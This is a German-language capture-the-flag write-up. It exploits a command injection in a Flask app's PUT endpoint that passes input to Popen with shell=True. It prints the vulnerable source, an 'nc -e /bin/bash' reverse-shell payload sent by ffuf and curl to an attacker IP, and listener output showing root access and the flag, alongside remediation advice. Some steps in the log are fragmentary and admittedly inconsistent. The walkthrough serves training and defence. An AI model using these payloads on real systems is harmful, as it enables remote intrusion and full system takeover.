**Analyse:** Der Endpunkt `/SourceCode` wird aufgerufen. Er gibt Base64-kodierten Text zurück.
from subprocess import Popen, TimeoutExpired, PIPE from flask import Flask, jsonify, abort, request app = Flask(__name__) @app.route("/", methods=["PUT"]) <-- Akzeptiert nur PUT auf / --> def index(): req_json = request.get_json() if req_json is None or "" not in req_json: <-- Erwartet JSON mit leerem String als Key --> abort(400, description="Please provide command in JSON request!") proc = Popen(req_json[""], stdout=PIPE, stderr=PIPE, shell=True) <-- Command Injection! --> try: outs, errs = proc.communicate(timeout=1) except TimeoutExpired: proc.kill() abort(500, description="The timeout is expired!") if errs: abort(500, description=errs.decode('utf-8')) return jsonify(success=True, message=outs.decode('utf-8')) @app.errorhandler(400) def bad_request(error): return jsonify(success=False, message=error.description), 400 @app.errorhandler(500) def server_error(error): return jsonify(success=False, message=error.description) , 500
Dies ist ein Python-Skript, das das Flash-Framework verwendet.
Sie können im Quellcode sehen, dass wir Daten im JSON-Format
senden müssen, und uns auffordern, dass wir einen korrekten
Befehl benötigen, versuchen Sie, die Shell zu fuzzen, um die
Shell an die Angriffsmaschine zu senden , und müssen außerdem
den Angriffscomputer vor dem Testen eines Ports überwachen
#
**Analyse:** Der Base64-Code wird dekodiert und enthüllt den Python/Flask-Quellcode der Anwendung: * Sie definiert nur eine Route: `/` für die HTTP-Methode `PUT`. * Sie erwartet einen JSON-Body in der PUT-Anfrage. * Sie prüft, ob der JSON-Body existiert und einen Schlüssel enthält, der ein **leerer String (`""`)** ist. * Der Wert, der diesem leeren Schlüssel zugeordnet ist, wird direkt und ohne Sanitisierung an `subprocess.Popen` mit `shell=True` übergeben. * Das Ergebnis des Befehls wird als JSON zurückgegeben.
**Bewertung:** Eine klare und kritische Command Injection Schwachstelle. Jeder Befehl, der als Wert für den leeren Schlüssel im JSON-Body einer PUT-Anfrage an `/` gesendet wird, wird als Root ausgeführt (da der Flask-Server als Root läuft).
**Empfehlung (Pentester):** Starten Sie einen Listener. Senden Sie eine PUT-Anfrage an `http://192.168.2.144:3333/` mit dem Header `Content-Type: application/json` und einem JSON-Body wie `{"": "nc -e /bin/bash [Angreifer-IP] [Listener-Port]"}`.
**Empfehlung (Admin):** Beheben Sie die Command Injection sofort! Verwenden Sie niemals `shell=True` mit Benutzereingaben. Validieren Sie Eingaben. Führen Sie die Anwendung nicht als Root aus.
listening on [any] 5555 ...
**Analyse:** Listener auf Port 5555 wird gestartet.
**Bewertung:** Bereit für die Root-Shell.
[...]
Visions [Status: 500, Size: 54, Words: 4, Lines: 2, Duration: 1018ms] <-- Warum Key 'Visions'? Warum cred.txt? -->
[...]
**Analyse:** Der `ffuf`-Befehl wird ausgeführt. Er sendet PUT-Anfragen mit JSON-Daten. `-d '{"FUZZ": "..."}'` definiert den Body, `-w cred.txt` scheint fälschlicherweise zu versuchen, den JSON-Schlüssel (`FUZZ`) mit Werten aus `cred.txt` zu ersetzen. Der Payload ist eine `nc -e` Reverse Shell.
**Bewertung:** Dieser `ffuf`-Befehl ist basierend auf dem Quellcode falsch konfiguriert (er sollte den Key `""` verwenden, nicht `FUZZ` mit Werten aus `cred.txt`). Dass er dennoch zur Shell im nächsten Schritt führt, ist unklar – möglicherweise wurde der erfolgreiche Befehl nicht korrekt geloggt, oder der Key `""` war zufällig in `cred.txt`, oder die Anwendung reagiert unerwartet. Der Kern ist jedoch, dass der Reverse-Shell-Befehl irgendwie erfolgreich injiziert wurde.
**Empfehlung (Pentester):** Verwenden Sie für die Reproduktion einen korrekten `curl`-Befehl: `curl -X PUT -H 'Content-Type: application/json' http://192.168.2.144:3333/ -d '{"": "nc -e /bin/bash 192.168.2.140 5555"}'`.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zur Behebung der Command Injection.
listening on [any] 5555 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.144] 39706 <-- Root Shell! --> id uid=0(root) gid=0(root) groups=0(root) ls app.py flag_r00t.txt localhost.sh __pycache__ update.sh cat flag_r00t.txt 8a2d55707a9084982649dadc04b426a0 <-- Root Flag -->
=
**Analyse:** Der Listener auf Port 5555 empfängt die Verbindung. Der `id`-Befehl bestätigt Root-Rechte. Der Inhalt des aktuellen Verzeichnisses (vermutlich `/root`, wo `localhost.sh` liegt) wird angezeigt. Die Root-Flag (`flag_r00t.txt`) wird ausgelesen.
**Bewertung:** Root-Zugriff erfolgreich über Command Injection in der Flask-App erlangt. Root-Flag gefunden.
**Empfehlung (Pentester):** Ziel erreicht.
**Empfehlung (Admin):** System kompromittiert. Incident Response einleiten, Schwachstellen beheben.
**Analyse:** Zusammenfassung der gefundenen Flags.
**Bewertung:** User-Flag.
**Bewertung:** Root-Flag.